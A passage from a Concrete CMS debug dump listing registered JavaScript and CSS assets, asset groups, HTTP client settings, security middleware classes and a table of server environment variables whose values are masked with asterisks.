0 => array:3 [ 0 => "javascript" 1 => "js/ckeditor/concrete.js" 2 => array:2 [ "minify" => false "combine" => false ] ] 1 => array:2 [ 0 => "css" 1 => "css/ckeditor/concrete.css" ] ] "fullcalendar" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/fullcalendar.js" 2 => array:2 [ "minify" => false "combine" => false ] ] 1 => array:2 [ 0 => "css" 1 => "css/fullcalendar.css" ] ] "font-awesome" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/fontawesome/all.css" 2 => array:2 [ "minify" => false "combine" => false ] ] ] "google-charts" => array:1 [ 0 => array:3 [ 0 => "javascript" 1 => "https://www.gstatic.com/charts/loader.js" 2 => array:1 [ "local" => false ] ] ] "core/cms" => array:3 [ 0 => array:3 [ 0 => "javascript" 1 => "js/cms.js" 2 => array:2 [ "minify" => false "combine" => false ] ] 1 => array:2 [ 0 => "javascript-localized" 1 => "/ccm/assets/localization/core/js" ] 2 => array:3 [ 0 => "css" 1 => "css/cms.css" 2 => array:2 [ "minify" => false "combine" => false ] ] ] "feature/accordions/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/accordions/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/accordions/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/account/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/account/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/account/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/profile/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/profile/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/desktop/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/desktop/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/desktop/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/boards/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/boards/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/boards/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/calendar/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/calendar/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/calendar/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/conversations/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/conversations/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/conversations/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "ace" => array:1 [ 0 => array:3 [ 0 => "javascript" 1 => "js/ace/ace.js" 2 => array:2 [ "minify" => false "combine" => false ] ] ] "feature/documents/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/documents/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/documents/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/testimonials/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/testimonials/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/faq/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/faq/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/basics/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/basics/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/navigation/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/navigation/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/navigation/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/imagery/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/imagery/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/imagery/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/express/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/express/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/express/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/search/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/search/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/social/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/social/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/video/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/video/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/taxonomy/frontend" => array:1 [ 0 => array:3 [ 0 => "css" 1 => "css/features/taxonomy/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/maps/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/maps/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/maps/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "feature/multilingual/frontend" => array:2 [ 0 => array:3 [ 0 => "javascript" 1 => "js/features/multilingual/frontend.js" 2 => array:1 [ "minify" => false ] ] 1 => array:3 [ 0 => "css" 1 => "css/features/multilingual/frontend.css" 2 => array:1 [ "minify" => false ] ] ] "tui-image-editor" => array:2 [ 0 => array:2 [ 0 => "css" 1 => "css/tui-image-editor.css" ] 1 => array:3 [ 0 => "javascript" 1 => "js/tui-image-editor.js" 2 => array:2 [ "minify" => false "combine" => false ] ] ] "core/translator" => array:3 [ 0 => array:3 [ 0 => "javascript" 1 => "js/translator.js" 2 => array:1 [ "minify" => false ] ] 1 => array:2 [ 0 => "javascript-localized" 1 => "/ccm/assets/localization/translator/js" ] 2 => array:3 [ 0 => "css" 1 => "css/translator.css" 2 => array:1 [ "minify" => false ] ] ] "htmldiff" => array:1 [ 0 => array:2 [ 0 => "css" 1 => "css/htmldiff.css" ] ] ] "asset_groups" => array:32 [ "jquery" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "javascript" 1 => "jquery" ] ] ] "bootstrap" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "javascript" 1 => "bootstrap" ] ] ] "moment" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "moment" ] 1 => array:2 [ 0 => "javascript-localized" 1 => "moment" ] ] ] "vue" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "javascript" 1 => "vue" ] ] ] "font-awesome" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "font-awesome" ] ] ] "ckeditor" => array:1 [ 0 => array:3 [ 0 => array:2 [ 0 => "javascript" 1 => "ckeditor" ] 1 => array:2 [ 0 => "javascript" 1 => "ckeditor/concrete" ] 2 => array:2 [ 0 => "css" 1 => "ckeditor/concrete" ] ] ] "ace" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "javascript" 1 => "ace" ] ] ] "core/cms" => array:1 [ 0 => array:8 [ 0 => array:2 [ 0 => "javascript" 1 => "jquery" ] 1 => array:2 [ 0 => "javascript" 1 => "bootstrap" ] 2 => array:2 [ 0 => "javascript" 1 => "moment" ] 3 => array:2 [ 0 => "javascript" 1 => "vue" ] 4 => array:2 [ 0 => "css" 1 => "font-awesome" ] 5 => array:2 [ 0 => "javascript" 1 => "core/cms" ] 6 => array:2 [ 0 => "javascript-localized" 1 => "core/cms" ] 7 => array:2 [ 0 => "css" 1 => "core/cms" ] ] ] "fullcalendar" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "fullcalendar" ] 1 => array:2 [ 0 => "css" 1 => "fullcalendar" ] ] ] "tui-image-editor" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "css" 1 => "tui-image-editor" ] 1 => array:2 [ 0 => "javascript" 1 => "tui-image-editor" ] ] ] "core/translator" => array:1 [ 0 => array:3 [ 0 => array:2 [ 0 => "css" 1 => "core/translator" ] 1 => array:2 [ 0 => "javascript" 1 => "core/translator" ] 2 => array:2 [ 0 => "javascript-localized" 1 => "core/translator" ] ] ] "feature/accordions/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/accordions/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/accordions/frontend" ] ] ] "feature/account/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/account/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/account/frontend" ] ] ] "feature/profile/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/profile/frontend" ] ] ] "feature/desktop/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/desktop/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/desktop/frontend" ] ] ] "feature/calendar/frontend" => array:1 [ 0 => array:3 [ 0 => array:2 [ 0 => "javascript" 1 => "moment" ] 1 => array:2 [ 0 => "javascript" 1 => "feature/calendar/frontend" ] 2 => array:2 [ 0 => "css" 1 => "feature/calendar/frontend" ] ] ] "feature/conversations/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/conversations/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/conversations/frontend" ] ] ] "feature/documents/frontend" => array:1 [ 0 => array:3 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/documents/frontend" ] 1 => array:2 [ 0 => "javascript-localized" 1 => "core/cms" ] 2 => array:2 [ 0 => "css" 1 => "feature/documents/frontend" ] ] ] "feature/faq/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/faq/frontend" ] ] ] "feature/imagery/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/imagery/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/imagery/frontend" ] ] ] "feature/navigation/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/navigation/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/navigation/frontend" ] ] ] "feature/video/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/video/frontend" ] ] ] "feature/social/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/social/frontend" ] ] ] "feature/express/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/express/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/express/frontend" ] ] ] "feature/maps/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/maps/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/maps/frontend" ] ] ] "feature/multilingual/frontend" => array:1 [ 0 => array:2 [ 0 => array:2 [ 0 => "javascript" 1 => "feature/multilingual/frontend" ] 1 => array:2 [ 0 => "css" 1 => "feature/multilingual/frontend" ] ] ] "feature/search/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/search/frontend" ] ] ] "feature/taxonomy/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/taxonomy/frontend" ] ] ] "feature/testimonials/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/testimonials/frontend" ] ] ] "feature/basics/frontend" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "feature/basics/frontend" ] ] ] "core/conversation" => array:2 [ 0 => [] 1 => true ] "htmldiff" => array:1 [ 0 => array:1 [ 0 => array:2 [ 0 => "css" 1 => "htmldiff" ] ] ] ] "http_client" => array:21 [ "sslverifypeer" => true "sslverifypeername" => false "sslcafile" => null "sslcapath" => null "connecttimeout" => 5 "timeout" => 60 "keepalive" => false "maxredirects" => 5 "rfc3986strict" => false "sslcert" => null "sslpassphrase" => null "storeresponse" => true "streamtmpdir" => null "strictredirects" => false "useragent" => "Concrete CMS" "encodecookies" => true "httpversion" => "1.1" "ssltransport" => "tls" "sslallowselfsigned" => false "persistent" => false "logger" => null ] "middleware" => array:5 [ 0 => array:2 [ "priority" => 1 "class" => "Concrete\Core\Http\Middleware\ApplicationMiddleware" ] "core_cookie" => "Concrete\Core\Http\Middleware\CookieMiddleware" "core_csp" => "Concrete\Core\Http\Middleware\ContentSecurityPolicyMiddleware" "core_hsts" => "Concrete\Core\Http\Middleware\StrictTransportSecurityMiddleware" "core_xframeoptions" => "Concrete\Core\Http\Middleware\FrameOptionsMiddleware" ] "command_handlers" => [] "server_timezone" => "America/New_York" ] |
Key | Value |
PATH | "****************************"
|
HTTP_ACCEPT | "***"
|
HTTP_ACCEPT_ENCODING | "***********************"
|
HTTP_HOST | "*************"
|
HTTP_USER_AGENT | "*******************************************************************************************************"
|
DOCUMENT_ROOT | "************************************************"
|
REMOTE_ADDR | "**************"
|
REMOTE_PORT | "*****"
|
SERVER_ADDR | "************"
|
SERVER_NAME | "*************"
|
SERVER_ADMIN | "***********************"
|
SERVER_PORT | "**"
|
REQUEST_SCHEME | "****"
|
REQUEST_URI | "*"
|
SCRIPT_FILENAME | "**********************************************************"
|
QUERY_STRING | "" |
SCRIPT_URI | "*********************"
|
SCRIPT_URL | "*"
|
SCRIPT_NAME | "**********"
|
SERVER_PROTOCOL | "********"
|
SERVER_SOFTWARE | "*********"
|
REQUEST_METHOD | "***"
|
X-LSCACHE | "**********************"
|
PHP_SELF | "**********"
|
REQUEST_TIME_FLOAT | "***"
|
REQUEST_TIME | "***"
|